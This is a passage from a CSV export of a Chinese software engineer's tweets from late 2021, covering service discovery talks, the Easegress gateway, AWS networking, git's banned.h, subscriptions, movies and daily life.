04:25:35+00:00,77,8,28,,原来是同龄人啊……话说，系统架构师在哪考？,,https://twitter.com/haoel/status/1457927321889894401\n2669,1457591143177363458,2021-11-08 06:09:43+00:00,0,0,0,,@linuxjack3 这个订了，忘了……,,https://twitter.com/haoel/status/1457591143177363458\n2670,1457590603726811136,2021-11-08 06:07:35+00:00,14,1,2,,经推友提升，这个设置在：设置-&gt;辅助功能-&gt;触控-&gt;轻点背面。据说默认是关闭的。而我完全不记得什么什么时候设置的了……,,https://twitter.com/haoel/status/1457590603726811136\n2671,1457546954854912006,2021-11-08 03:14:08+00:00,0,0,0,,@benn_huang @shisoftgenius IBM在操作系统和PC上都在做，而且投入很大啊……,,https://twitter.com/haoel/status/1457546954854912006\n2672,1457521566988726280,2021-11-08 01:33:15+00:00,0,0,0,,@slpwry 原来在这里我都不知道。,,https://twitter.com/haoel/status/1457521566988726280\n2673,1457504502999748609,2021-11-08 00:25:27+00:00,43,1,18,,今早偶然发见，手持iPhone的时候，用食指连续敲击iPhone背部两下，通知中心就从上降下来了……一开始不知道为什么自动降下来，还以为是bug……,,https://twitter.com/haoel/status/1457504502999748609\n2674,1457272574082048004,2021-11-07 09:03:51+00:00,3,0,2,,@SnowAFK @waylybaye 这还要工具……,,https://twitter.com/haoel/status/1457272574082048004\n2675,1457228420971040772,2021-11-07 06:08:24+00:00,3,0,2,,@davidfnckCN clash旁路路由 + 自建翻墙,,https://twitter.com/haoel/status/1457228420971040772\n2676,1457199503157579779,2021-11-07 04:13:29+00:00,291,17,13,,小区里的，昨天 vs 今天 https://t.co/vjWVsxF6Iz,,https://twitter.com/haoel/status/1457199503157579779\n2677,1457165929435975682,2021-11-07 02:00:05+00:00,1,0,1,,@martinho0330 这么便宜……,,https://twitter.com/haoel/status/1457165929435975682\n2678,1456988996014280707,2021-11-06 14:17:00+00:00,0,0,1,,@jolestar 没问题，也买过三次了,,https://twitter.com/haoel/status/1456988996014280707\n2679,1456966536921374724,2021-11-06 12:47:46+00:00,2,0,0,,@cheeq 找人合租,,https://twitter.com/haoel/status/1456966536921374724\n2680,1456959659701510146,2021-11-06 12:20:26+00:00,22,1,0,,@lihuadong @SVilliage 上 https://t.co/fJ7N04jzRp 找人合租……,\"[TextLink(text='ihezu.com.cn', url='http://ihezu.com.cn', tcourl='https://t.co/fJ7N04jzRp', indices=(24, 47))]\",https://twitter.com/haoel/status/1456959659701510146\n2681,1456954909572546574,2021-11-06 12:01:34+00:00,487,36,69,,\"不知不觉，发现整了好多数字订阅：\n\n- XBox GPU ，淘宝买240/年\n- Netflix/Disney+/Amazon/Youtube 流媒体 全部一年 700元/年\n- iCloud 2TB，美区，750元/年\n- Amazon Prime + Kindle Unlimited, 430元/年\n- 翻墙(3个VPS JP/US/HK ）1200元/年\n- Office 365：500元/年\n- 个人网站：1500 元/年\n\n😰\",,https://twitter.com/haoel/status/1456954909572546574\n2682,1456937164705468416,2021-11-06 10:51:03+00:00,24,1,5,,@shisoftgenius 另外一种思路：连大公司都不做的事情，很大概率上是做不大的……（大型商业公司有足够的数据做商业决策）,,https://twitter.com/haoel/status/1456937164705468416\n2683,1456585965250646027,2021-11-05 11:35:30+00:00,10,0,1,,@Barret_China 这样的社工感觉很一般，我见过更狠的,,https://twitter.com/haoel/status/1456585965250646027\n2684,1456533625587990533,2021-11-05 08:07:32+00:00,160,32,2,,\"技术分享：企业级服务注册发现（龙韵）\n- 为什么需要有服务发现\n- 服务发现系统的种类\n- 服务发现的两种模式\n- 企业级的服务发现需要什么样的能力\n- 各种服务发现系统介绍（\n- Service Mesh \n- 演示（多服务发现、Go+Java应用混合架构）\n\nB站： https://t.co/GTF5Cfcduc \nY站：https://t.co/g7W4B2C4Hg\",\"[TextLink(text='bilibili.com/video/BV1QF411…', url='https://www.bilibili.com/video/BV1QF411a7xW/', tcourl='https://t.co/GTF5Cfcduc', indices=(136, 159)), TextLink(text='youtube.com/watch?v=gf2TLd…', url='https://www.youtube.com/watch?v=gf2TLd8o_rc', tcourl='https://t.co/g7W4B2C4Hg', indices=(164, 187))]\",https://twitter.com/haoel/status/1456533625587990533\n2685,1456444889906831362,2021-11-05 02:14:55+00:00,42,7,1,,有人没有看懂本贴，解释下，一个企业级的网络区应该至少要分成两个区，一个外网区（又叫DMZ区），用于连接WAN；另一个是内网区，是主要的数据中心，也是LAN。LAN内与WAN的互通需要走DMZ区通过NAT的方式。AWS给了托管和自建两种方式来建这个NAT网关，自建就是EC2的NAT实例……https://t.co/SpqKXsbgV4,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1405190852679409666?s=20', tcourl='https://t.co/SpqKXsbgV4', indices=(144, 167))]\",https://twitter.com/haoel/status/1456444889906831362\n2686,1456442286322057221,2021-11-05 02:04:35+00:00,2,0,0,,@imoyakiIsHero 内部的Slack,,https://twitter.com/haoel/status/1456442286322057221\n2687,1456212656352727040,2021-11-04 10:52:07+00:00,0,0,0,,@ToddFLeo 但是依然看不懂吧……,,https://twitter.com/haoel/status/1456212656352727040\n2688,1456210756060401666,2021-11-04 10:44:33+00:00,302,2,87,,今天有个几个朋友约着来问我什么是Cloud Native云原生，还让我做个直播，大家想听吗？,,https://twitter.com/haoel/status/1456210756060401666\n2689,1456179940194275332,2021-11-04 08:42:06+00:00,3,1,1,,@renhuailin @Mike_yan30 参看：https://t.co/mdOTsYdude,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io', tcourl='https://t.co/mdOTsYdude', indices=(27, 50))]\",https://twitter.com/haoel/status/1456179940194275332\n2690,1456172554398232585,2021-11-04 08:12:46+00:00,5,0,3,,\"@Mike_yan30 另用ss了，必封。\n\n另外，这里说的是透明网关，参看：https://t.co/Inv6wrHC0s\",\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1405190852679409666', tcourl='https://t.co/Inv6wrHC0s', indices=(39, 62))]\",https://twitter.com/haoel/status/1456172554398232585\n2691,1456170201586700295,2021-11-04 08:03:25+00:00,538,66,25,,我们在AWS 的 NAT实例上建翻墙 clash 代理，网络通了，但是忘了配置路由了……今天发现修复后，一个内部的“碎片式”技术分享，转发出来…… https://t.co/oTfPxFRGtF,,https://twitter.com/haoel/status/1456170201586700295\n2692,1455749944258695172,2021-11-03 04:13:27+00:00,0,0,1,,@meili145 对的，就是这个,,https://twitter.com/haoel/status/1455749944258695172\n2693,1455723321090207744,2021-11-03 02:27:40+00:00,467,123,12,,以前看过一个英文版的图，今天看到个中文版的，转发一下…… https://t.co/2xBS4y19lq,,https://twitter.com/haoel/status/1455723321090207744\n2694,1455522186400206854,2021-11-02 13:08:26+00:00,13,0,8,,我果然是屌丝……（注：第一是广告） https://t.co/Fn6p0e8aeb,,https://twitter.com/haoel/status/1455522186400206854\n2695,1455514688725291008,2021-11-02 12:38:38+00:00,1,0,1,,@CindyCreation 可以,,https://twitter.com/haoel/status/1455514688725291008\n2696,1455108041502720000,2021-11-01 09:42:46+00:00,2,0,3,,@mranti 我不会说值得，也不会说不值得……🤣,,https://twitter.com/haoel/status/1455108041502720000\n2697,1455104798328377346,2021-11-01 09:29:53+00:00,88,0,40,,看完《沙丘》和 《007 - 无暇赴死》两个电影的感觉就是一个：2个半小时的电影真的累，不适合我们老年人……但是接下来还有《黑客帝国 - 矩阵重启》 长147 分钟……,,https://twitter.com/haoel/status/1455104798328377346\n2698,1454789277779316737,2021-10-31 12:36:07+00:00,55,1,2,,小区里的孩子们借着“万圣节🎃”把小区里的便利店，美容理发店，健身会所，水果店，文具店，药店，五金店，甚至房产中介挨家挨户的“扫荡”了一遍……下面是我家孩子的“战利品”……（比我们小时候好玩） https://t.co/ui8z5NkaZm,,https://twitter.com/haoel/status/1454789277779316737\n2699,1454762017617690629,2021-10-31 10:47:47+00:00,0,0,1,,@Vinci_xu 校友,,https://twitter.com/haoel/status/1454762017617690629\n2700,1454693572012232709,2021-10-31 06:15:49+00:00,85,1,6,,小区一角：秋意浓浓 https://t.co/UxI3dZ6aqP,,https://twitter.com/haoel/status/1454693572012232709\n2701,1454262835362467843,2021-10-30 01:44:13+00:00,0,0,0,,@lexrus 最高可借1000W……营销文案也一样浮夸……,,https://twitter.com/haoel/status/1454262835362467843\n2702,1453543358849118208,2021-10-28 02:05:16+00:00,27,4,1,,大家别忘了今天晚上的这个分享……,,https://twitter.com/haoel/status/1453543358849118208\n2703,1453542929373351943,2021-10-28 02:03:34+00:00,8,0,0,,\"@spacewanderlzx 可以看看我们这边 MegaEase, 我们的网关和Mesh全是是自研的，而且完全支持远程……\",,https://twitter.com/haoel/status/1453542929373351943\n2704,1453360609068650507,2021-10-27 13:59:05+00:00,16,1,4,,这个扫地机器人其实才100元……全是套路……,,https://twitter.com/haoel/status/1453360609068650507\n2705,1453287884421836802,2021-10-27 09:10:07+00:00,21,0,5,,互联网的广告按道理应该是千人千面，但是，其实并没有你们所想像的那么高级，只要观察了一下父母还有身边的朋友同学，你就会发现很多广告都是无差别的……🤫,,https://twitter.com/haoel/status/1453287884421836802\n2706,1453255817373929477,2021-10-27 07:02:41+00:00,0,0,1,,@kustasbruce 说的好像我不懂互联网似的……,,https://twitter.com/haoel/status/1453255817373929477\n2707,1453012414849589259,2021-10-26 14:55:30+00:00,316,41,31,,\"了解一个平台的用户群，我更喜欢看的，不是这个平台的内容，而是在这个平台投放的广告。因为只有真的有效，广告主才会不停的投发。\n\n抖音上的广告偏手游，餐饮，娱乐；微信上的广告偏新产品，奢侈品，以及互联网；而新浪微博上长期只有三种广告，牙齿矫正，植发和借贷，可见微博用户群……😱\",,https://twitter.com/haoel/status/1453012414849589259\n2708,1452917921064239107,2021-10-26 08:40:00+00:00,0,0,0,,@sailfishcc1 我们没有现场……😜,,https://twitter.com/haoel/status/1452917921064239107\n2709,1452903088994455554,2021-10-26 07:41:04+00:00,75,16,4,,北京时间本周四晚上20:00，我们会做一个关于服务发现的对外分享，除了会系统讲述服务发现的各种技术和手段之外，还会讲一下，如何用无侵入多的方法兼容各种服务发现的系统，以及如何把其它语言的服务接入到 Spring Cloud 的架构中来，欢迎大家关注。报名链接：https://t.co/PzyCV0uOuO https://t.co/fxUXOXMDqn,\"[TextLink(text='meeting.tencent.com/dw/GJUWgPBginuV', url='https://meeting.tencent.com/dw/GJUWgPBginuV', tcourl='https://t.co/PzyCV0uOuO', indices=(130, 153))]\",https://twitter.com/haoel/status/1452903088994455554\n2710,1452067355685580801,2021-10-24 00:20:10+00:00,10,0,3,,@sccdxec @yjz0065 苹果手机勿扰模式即可,,https://twitter.com/haoel/status/1452067355685580801\n2711,1451550719257899016,2021-10-22 14:07:14+00:00,20,1,6,,为什么银河系里全都是帝国？你们这么干，我很容易搞混的…… https://t.co/TzGIULMwSr,,https://twitter.com/haoel/status/1451550719257899016\n2712,1451547533704974337,2021-10-22 13:54:35+00:00,147,2,9,,@waylybaye 人家送你一条4K的皮带，作为程序员，你应该回送人家一台4K的显示器……,,https://twitter.com/haoel/status/1451547533704974337\n2713,1451121800876728326,2021-10-21 09:42:52+00:00,0,0,0,,@xuefeeney 是机场的,,https://twitter.com/haoel/status/1451121800876728326\n2714,1450839684318261254,2021-10-20 15:01:50+00:00,0,0,0,,@guyii 暴露年龄啊，小时候的记忆。,,https://twitter.com/haoel/status/1450839684318261254\n2715,1450838649113694215,2021-10-20 14:57:43+00:00,1,0,2,,@kevinzhow 有点心动了，很想入一个pro,,https://twitter.com/haoel/status/1450838649113694215\n2716,1450837767936610315,2021-10-20 14:54:13+00:00,61,0,6,,简单吃个饭，匆匆离开南京…… https://t.co/xCbjA7nWA0,,https://twitter.com/haoel/status/1450837767936610315\n2717,1450282160972197892,2021-10-19 02:06:26+00:00,46,4,40,,昨天在苹果官网上给人推荐的这款电脑，今天就没了……😂。对方问我M1的做开发行不行？我也不知道怎么回答，反正找各种lib都要找arm的有点烦……大家提提建议…… https://t.co/cEfPj7uYcT,,https://twitter.com/haoel/status/1450282160972197892\n2718,1450279188775145472,2021-10-19 01:54:38+00:00,28,0,2,,@waylybaye 我下午也要去南京，给个地方，我帮你拍……,,https://twitter.com/haoel/status/1450279188775145472\n2719,1450092138826395660,2021-10-18 13:31:21+00:00,0,0,0,,@Zhengdaguang 应该在的，有时候多试试……,,https://twitter.com/haoel/status/1450092138826395660\n2720,1449964071487361029,2021-10-18 05:02:28+00:00,100,3,7,,我们下周会有一个跟服务发现相关的公开分享，会讲一下服务发现这东西有多重要，另外也会演示一下，如何无侵入式兼容于各种服务发现，并用EaseMesh的技术把各种不同语言的微服务，纳管到Spring Cloud的的架构标准中来……相关的会议邀请会在下周初发出来……,,https://twitter.com/haoel/status/1449964071487361029\n2721,1449961038036627459,2021-10-18 04:50:25+00:00,151,9,13,,github 隔三岔五地就要提示让我们找个 successor，也知道我老了，支撑不了几年了……😭 https://t.co/FkzEW86L9V,,https://twitter.com/haoel/status/1449961038036627459\n2722,1449193539326210050,2021-10-16 02:00:39+00:00,21,1,1,,@forrest_zhao 这句话反过来讲就会成为一个金句一一“好些短期看上去好的事，长期来看都是坏事”。#金句pattern,,https://twitter.com/haoel/status/1449193539326210050\n2723,1448613979866107912,2021-10-14 11:37:41+00:00,2,0,1,,@jolestar Slack 的生态更好,,https://twitter.com/haoel/status/1448613979866107912\n2724,1448584789770989571,2021-10-14 09:41:41+00:00,2,0,0,,@twittezhan 不错不错！,,https://twitter.com/haoel/status/1448584789770989571\n2725,1448533672630521862,2021-10-14 06:18:34+00:00,4,0,0,,@FailedWaste @w0vnv0vntt00 greatest common divisor,,https://twitter.com/haoel/status/1448533672630521862\n2726,1448527728118960129,2021-10-14 05:54:57+00:00,101,5,12,,然后，有洁癖的我顺手帮重构了一下代码结构……左边是老代码，右边是新代码…… https://t.co/BkoFtqejz6,,https://twitter.com/haoel/status/1448527728118960129\n2727,1448525129143635970,2021-10-14 05:44:37+00:00,84,12,5,,为什么禁用这些不安全的C函数，想起了几个月前一个在美帝大厂的朋友给我发的消息，这个bug坑了他们整个团队一个多月……都2021年了，还在被这种二十年前的问题坑…… https://t.co/d67xqOQ9E4,,https://twitter.com/haoel/status/1448525129143635970\n2728,1448467279440613376,2021-10-14 01:54:45+00:00,311,49,10,,\"git源码中有一个banned.h的文件，用于禁用一些不安全的C函数……挺帅的做法，推广之……\nhttps://t.co/NDHmGz3ZIy https://t.co/DRS57EROfG\",\"[TextLink(text='github.com/git/git/blob/m…', url='https://github.com/git/git/blob/master/banned.h', tcourl='https://t.co/NDHmGz3ZIy', indices=(48, 71))]\",https://twitter.com/haoel/status/1448467279440613376\n2729,1448306175489888256,2021-10-13 15:14:35+00:00,0,0,0,,@fujohnwang 哈哈哈,,https://twitter.com/haoel/status/1448306175489888256\n2730,1448237810146680836,2021-10-13 10:42:55+00:00,0,0,0,,@fkaabbccdd 哈哈哈，还真是,,https://twitter.com/haoel/status/1448237810146680836\n2731,1448197579443900426,2021-10-13 08:03:03+00:00,150,23,9,,混在微服务里的巨型单体应用……,,https://twitter.com/haoel/status/1448197579443900426\n2732,1448153572797927431,2021-10-13 05:08:11+00:00,49,4,0,,Easegress支持MQTT的1.3.0版Release了……接下来会支持四层的TCP/UDP，以及把pipeline/filter机制与HTTP协议的解耦，这样所有的协议都可以使用管道机制了……欢迎大家多关注，如果喜欢，帮忙点个星，谢了。,,https://twitter.com/haoel/status/1448153572797927431\n2733,1447786316507144196,2021-10-12 04:48:51+00:00,0,0,1,,@Jawley 我一直插右侧,,https://twitter.com/haoel/status/1447786316507144196\n2734,1447777830872354816,2021-10-12 04:15:07+00:00,82,5,33,,我的Mac突然变卡了，干什么都成慢动作了，打开监视器一看，内核在挖矿中…… https://t.co/ufA2DPqo2e,,https://twitter.com/haoel/status/1447777830872354816\n2735,1447503661194616832,2021-10-11 10:05:40+00:00,234,44,22,,\"看完这个视频，我已经有一种想从 Mac 转回 Windows  了的冲动了……另外，我似乎也知道了为什么Windows 11的界面越来越像Linux了…… \nhttps://t.co/FCMfgE8u41\",\"[TextLink(text='youtube.com/watch?v=b1YBx1…', url='https://www.youtube.com/watch?v=b1YBx1L8op4', tcourl='https://t.co/FCMfgE8u41', indices=(79, 102))]\",https://twitter.com/haoel/status/1447503661194616832\n2736,1446826748822228994,2021-10-09 13:15:52+00:00,56,0,1,,@waylybaye 日子长着呢，可以闹掰的事多了去了，放心……😜🤪,,https://twitter.com/haoel/status/1446826748822228994\n2737,1445660769291440135,2021-10-06 08:02:41+00:00,32,2,2,,@tinyfool 基本一致 https://t.co/JVQpN9GB48,,https://twitter.com/haoel/status/1445660769291440135\n2738,1445318970907643905,2021-10-05 09:24:30+00:00,0,0,0,,@jolestar 没有，主要是我太脆弱……另外，我是给孩子买了全套的皮皮鲁系列（孩子很喜欢看的）的前提下才去看的。,,https://twitter.com/haoel/status/1445318970907643905\n2739,1445301532623130624,2021-10-05 08:15:12+00:00,17,0,3,,我这70后的大叔带10后的孩子一同观影，一同看哭了……,,https://twitter.com/haoel/status/1445301532623130624\n2740,1444983876393189376,2021-10-04 11:12:57+00:00,140,21,16,,这才是国庆档我最想看的电影…… https://t.co/SZsRo5lueX,,https://twitter.com/haoel/status/1444983876393189376\n2741,1444622051424100357,2021-10-03 11:15:11+00:00,0,0,0,,@starshipsea 居然打错顺序了……,,https://twitter.com/haoel/status/1444622051424100357\n2742,1444613033725071366,2021-10-03 10:39:21+00:00,0,0,0,,@rtmweiyi 收到,,https://twitter.com/haoel/status/1444613033725071366\n2743,1444607401932443654,2021-10-03 10:16:58+00:00,552,100,15,,\"推荐三个剧集\n\n- 《性爱自修室》，对青春期少年开始认识性和社会的表现，拍的实在是太好了。\n\n- 《曼洛达人》，完全就是金庸古龙武侠小说的西方版本\n\n- 《洛基》，自由意志 vs 宿命论，感觉漫威接下来要开始玩《黑客帝国》这样的深度的故事了……\n\n青春、武侠、人生，这可能是中年人的三大G点……\",,https://twitter.com/haoel/status/1444607401932443654\n2744,1444601807330689026,2021-10-03 09:54:44+00:00,19,3,1,,破破的桥在Youtube的新开频道：https://t.co/LO2aUaqHsw,\"[TextLink(text='youtube.com/watch?v=VNP6Um…', url='https://www.youtube.com/watch?v=VNP6UmtrOPo', tcourl='https://t.co/LO2aUaqHsw', indices=(18, 41))]\",https://twitter.com/haoel/status/1444601807330689026\n2745,1444305458387251206,2021-10-02 14:17:09+00:00,247,56,4,,\"确切来说，Status代表操作结果，State代表流程阶段。SO上有这么一个答案：https://t.co/MIL9MDvKyz\n\n- `status` is used to describe an outcome of an operation (e.g. success/fail).  \n\n- `state` is used to describe a stage in a process (e.g. pending/dispatched).\",\"[TextLink(text='softwareengineering.stackexchange.com/questions/2193…', url='https://softwareengineering.stackexchange.com/questions/219351/state-or-status-when-should-a-variable-name-contain-the-word-state-and-w', tcourl='https://t.co/MIL9MDvKyz', indices=(41, 64))]\",https://twitter.com/haoel/status/1444305458387251206\n2746,1443466938475180033,2021-09-30 06:45:11+00:00,68,10,1,,\"继续公开的内部分享：\n\n- 用 Easegress + WebAssembly 做秒杀 （张博民）\nhttps://t.co/2Gz8V5ecZb\n\n- Virtual Memory 技术介绍 （邹英杰）\nhttps://t.co/eoah9yKW21\",\"[TextLink(text='youtube.com/watch?v=InPc5a…', url='https://www.youtube.com/watch?v=InPc5aIAu_o', tcourl='https://t.co/2Gz8V5ecZb', indices=(50, 73)), TextLink(text='youtube.com/watch?v=fXVZV-…', url='https://www.youtube.com/watch?v=fXVZV-eMEwc', tcourl='https://t.co/eoah9yKW21', indices=(103, 126))]\",https://twitter.com/haoel/status/1443466938475180033\n2747,1443436673761751040,2021-09-30 04:44:55+00:00,6,1,2,,@mrnx2004 @kevinzhow 打工划水最大的风险是35岁以后被公司抛弃……,,https://twitter.com/haoel/status/1443436673761751040\n2748,1443427984312918017,2021-09-30 04:10:23+00:00,460,98,25,,昨天跟 @kevinzhow 交流Cloud Native后，关于资产和负债的小讨论，然后，记录下来，分享一下，欢迎大家讨论，批评和建议…… https://t.co/PiNz95siuN,,https://twitter.com/haoel/status/1443427984312918017\n2749,1443391308211449858,2021-09-30 01:44:39+00:00,242,43,5,,有个叫 Gordon Linoff https://t.co/91h1I8VQa8 的人在 StackOverflow上回答了85K个问题，拥有100多万的声望。这个人是纽约时报分析部门的负责人，哥伦比亚大学教授，还拥有一家分析咨询公司。SO上的这些回答帮助了他写了好些书 https://t.co/9u2KeLx0uT ，真是个神人……,\"[TextLink(text='stackoverflow.com/users/1144035/…', url='https://stackoverflow.com/users/1144035/gordon-linoff', tcourl='https://t.co/91h1I8VQa8', indices=(18, 41)), TextLink(text='amazon.com/s?i=stripbooks…', url='https://www.amazon.com/s?i=stripbooks&rh=p_27%3AGordon+S.+Linoff', tcourl='https://t.co/9u2KeLx0uT', indices=(137, 160))]\",https://twitter.com/haoel/status/1443391308211449858\n2750,1443370634550001664,2021-09-30 00:22:30+00:00,14,1,2,,@anniezh2002 https://t.co/826jcll3jf,,https://twitter.com/haoel/status/1443370634550001664\n2751,1443157347950477322,2021-09-29 10:14:58+00:00,65,1,15,,这两天开始出现魔怔了。出门没带口罩，把脸直接暴露出来，感觉就跟没穿衣服把肉体暴露出来一样……,,https://twitter.com/haoel/status/1443157347950477322\n2752,1443153927369740289,2021-09-29 10:01:23+00:00,4,0,0,,@shajiabiji 虽然不是坑，但也太坑了！,,https://twitter.com/haoel/status/1443153927369740289\n2753,1442869964516388872,2021-09-28 15:13:01+00:00,0,0,2,,@shell909090 就是感觉好笑……,,https://twitter.com/haoel/status/1442869964516388872\n2754,1442867373132840961,2021-09-28 15:02:43+00:00,0,0,1,,@shell909090 为什么这么说？,,https://twitter.com/haoel/status/1442867373132840961\n2755,1442845462537539584,2021-09-28 13:35:39+00:00,571,81,24,,狗头.jpg https://t.co/3o4IlvalJf,,https://twitter.com/haoel/status/1442845462537539584\n2756,1442478190622961664,2021-09-27 13:16:15+00:00,1,0,0,,@feerliliso 讲科学家故事的“咪姆”，太经典了……,,https://twitter.com/haoel/status/1442478190622961664\n2757,1442455044872228882,2021-09-27 11:44:16+00:00,79,4,36,,因为《迪迦奥特曼》被下架引发了我巨大的兴趣，所以专门找来看了看，老实说，勾起了我很多童年美好的回忆。虽然我小时候没看过奥特曼，但是我那时有《恐龙特急克塞号》，一样的制作水准，一样的故事框架，一样的表演……日本这类型五毛钱特效的片子真是影响我们好几代人啊……https://t.co/gkIy0VyDar,\"[TextLink(text='youtu.be/wcR7FtIyez4', url='https://youtu.be/wcR7FtIyez4', tcourl='https://t.co/gkIy0VyDar', indices=(128, 151))]\",https://twitter.com/haoel/status/1442455044872228882\n2758,1442423118719451140,2021-09-27 09:37:25+00:00,19,3,0,,相关会议视频：https://t.co/NNUeTb7j7f,\"[TextLink(text='youtube.com/watch?v=MeAS3y…', url='https://www.youtube.com/watch?v=MeAS3yKs8ns', tcourl='https://t.co/NNUeTb7j7f', indices=(7, 30))]\",https://twitter.com/haoel/status/1442423118719451140\n2759,1442134006418444298,2021-09-26 14:28:35+00:00,4,0,1,,@jun_cn 会有录播的……,,https://twitter.com/haoel/status/1442134006418444298\n2760,1442069084300922893,2021-09-26 10:10:36+00:00,32,1,7,,欢迎大家参加今晚的我们的开发计划会……,,https://twitter.com/haoel/status/1442069084300922893\n2761,1441316124344262657,2021-09-24 08:18:37+00:00,98,10,6,,\"还是发个更正式的会议邀请通知——这个会本来是我们内部的2021.Q4开发计划的会议，我们公开出来开想获得更多的反馈和建议，以后我会逐步的把MegaEase的整个运作方式一点一点的透明出来……是的，做一个纯远程的公司还不够Cool，我们还要透明和开放……\n\nhttps://t.co/WorLmjnppu https://t.co/IqzPWBCZSM\",\"[TextLink(text='mp.weixin.qq.com/s/zvqsRcP5eI-F…', url='https://mp.weixin.qq.com/s/zvqsRcP5eI-F2vZ5yjJrlw', tcourl='https://t.co/WorLmjnppu', indices=(128, 151))]\",https://twitter.com/haoel/status/1441316124344262657\n2762,1441277725742755840,2021-09-24 05:46:02+00:00,14,2,0,,这个会本来是我们内部的2021.Q4开发计划的会议，因为做开源，所以我们公开出来开，我会逐步的把MegaEase的整个运作方式一点一点的透明出来。,,https://twitter.com/haoel/status/1441277725742755840\n2763,1440985330467762178,2021-09-23 10:24:09+00:00,212,34,8,,\"本周日2021/09/26 北京时间 20:00-21:30，我们会来次线上的meetup，主要讲一下我司做的东西，现有的开源软件的技术介绍，以及一些技术选型和技术趋势，包括后面的一些自由讨论，我会主持本次会议，欢迎大家参加\n链接：https://t.co/PDB4Jo1E15 \n会议 ID：699 701 892   \n直播：https://t.co/PBbpD2BdwQ\",\"[TextLink(text='meeting.tencent.com/dm/6CKtzQrOlCkr', url='https://meeting.tencent.com/dm/6CKtzQrOlCkr', tcourl='https://t.co/PDB4Jo1E15', indices=(116, 139)), TextLink(text='meeting.tencent.com/l/zaZeuYh4Jimw', url='https://meeting.tencent.com/l/zaZeuYh4Jimw', tcourl='https://t.co/PBbpD2BdwQ', indices=(165, 188))]\",https://twitter.com/haoel/status/1440985330467762178\n2764,1440917083638755330,2021-09-23 05:52:58+00:00,9,0,0,,@waylybaye 哎，这可能就是你很不”man”的体现了……,,https://twitter.com/haoel/status/1440917083638755330\n2765,1440900895726653443,2021-09-23 04:48:38+00:00,0,0,0,,@Pomatory 不能说剧透，因为我都没说片名……😜🤪,,https://twitter.com/haoel/status/1440900895726653443\n2766,1440862759059537922,2021-09-23 02:17:06+00:00,5,0,0,,\"@xyexp @Ryauou 1、主要是吹水，不需要搜索\n2、相对重要的 pin 一下\n3、更重要的写在google doc和github的文档\",,https://twitter.com/haoel/status/1440862759059537922\n2767,1440695445911605261,2021-09-22 15:12:15+00:00,18,2,3,,奖金一共456亿韩元，记得讨好001选手，记得带上偏振光眼镜以区分普通玻璃和钢化玻璃，另外，小时候如果尽上补习班没怎么好好玩，还是别去了……,,https://twitter.com/haoel/status/1440695445911605261\n2768,1440691217411436544,2021-09-22 14:55:27+00:00,22,0,4,,@Ryauou 对的，不喜欢微信，极度讨厌钉钉,,https://twitter.com/haoel/status/1440691217411436544\n2769,1440641580658933763,2021-09-22 11:38:13+00:00,1,0,0,,@guxingke 业务意义完全不一样。,,https://twitter.com/haoel/status/1440641580658933763\n2770,1440641395232894976,2021-09-22 11:37:29+00:00,4,0,1,,@wongding 你不会问一下产品，为什么要这么设计？意义是什么？X问题是什么？如果别人说啥就是啥了，那这不是技术问题是另外一码事了。,,https://twitter.com/haoel/status/1440641395232894976\n2771,1440640891228602369,2021-09-22 11:35:28+00:00,0,0,0,,@kennetsu_rinn 想象一堆服务器，有些服务器目前来说是关机状态，但是过两天会再开机。或是有些商品目前来说，先下架处理，过两天后再上架。这样的业务需求非常多。,,https://twitter.com/haoel/status/1440640891228602369\n2772,1440633425279389707,2021-09-22 11:05:48+00:00,598,103,40,,关于数据库的数据删除的问题，今天公司群里的一个“微分享”，转出来…… https://t.co/sQclYEzA0y,,https://twitter.com/haoel/status/1440633425279389707\n2773,1440602578497130503,2021-09-22 09:03:14+00:00,20,1,5,,高空作业…… https://t.co/N7NBlqV5ci,,https://twitter.com/haoel/status/1440602578497130503\n2774,1439775323160080384,2021-09-20 02:16:01+00:00,13,5,1,,这个排行榜链接在手机端下和电脑上打开完全不一样……还是在电脑上打开吧。,,https://twitter.com/haoel/status/1439775323160080384\n2775,1439774606336819200,2021-09-20 02:13:10+00:00,322,53,14,,在豆瓣上看美剧评分排行，看到两个高分剧集——《10分钟学计算机科学》和《MIT线性代数》。https://t.co/HOTObaRCda https://t.co/CRv4HESzyP,\"[TextLink(text='movie.douban.com/tv/#!type=tv&t…', url='https://movie.douban.com/tv/#!type=tv&tag=%E7%BE%8E%E5%89%A7&sort=rank&page_limit=20&page_start=0', tcourl='https://t.co/HOTObaRCda', indices=(45, 68))]\",https://twitter.com/haoel/status/1439774606336819200\n2776,1439462430271148033,2021-09-19 05:32:41+00:00,10,1,0,,@OikawaRizumu 线性代数,,https://twitter.com/haoel/status/1439462430271148033\n2777,1439390665545117696,2021-09-19 00:47:31+00:00,306,12,29,,大家都在晒iPhone 13的订单，我晒一下我的第一个iPhone - 3GS，不越狱还在国内还用不了。现在还能用，打电话，玩游戏都行…… https://t.co/eP6SRtxX5N,,https://twitter.com/haoel/status/1439390665545117696\n2778,1439389463474421764,2021-09-19 00:42:45+00:00,8,0,2,,@tualatrix 2012-09-21，刚升级到iOS6… https://t.co/qyY1L8ingV,,https://twitter.com/haoel/status/1439389463474421764\n2779,1439144138478260226,2021-09-18 08:27:55+00:00,22,0,5,,@kevinzhow 凡一下…… https://t.co/tUI6x77zuc,,https://twitter.com/haoel/status/1439144138478260226\n2780,1439072101084766209,2021-09-18 03:41:40+00:00,0,0,0,,@dragon_lyl 是typo,,https://twitter.com/haoel/status/1439072101084766209\n2781,1439045316771082243,2021-09-18 01:55:14+00:00,132,23,2,,在公司群里的一个“微分享”，关于“服务发现”的一些小常识。大家可以补充…… https://t.co/4xrfEs2dNG,,https://twitter.com/haoel/status/1439045316771082243\n2782,1438729704949772289,2021-09-17 05:01:06+00:00,47,3,1,,对于网关来说，扩展性是极其重要的，对于跨语言的进程虚拟机而言，WebAssembly也是很重要的，这里是我们的实践…… https://t.co/Nb7SZcgdsh （英文版） https://t.co/czqCp27m4P （中文版）,\"[TextLink(text='megaease.medium.com/extend-backend…', url='https://megaease.medium.com/extend-backend-application-with-webassembly-ba19c17016d3', tcourl='https://t.co/Nb7SZcgdsh', indices=(60, 83)), TextLink(text='mp.weixin.qq.com/s/BZfqLTUlnEEU…', url='https://mp.weixin.qq.com/s/BZfqLTUlnEEUKqrMAI7X5A', tcourl='https://t.co/czqCp27m4P', indices=(90, 113))]\",https://twitter.com/haoel/status/1438729704949772289\n2783,1438659198187835393,2021-09-17 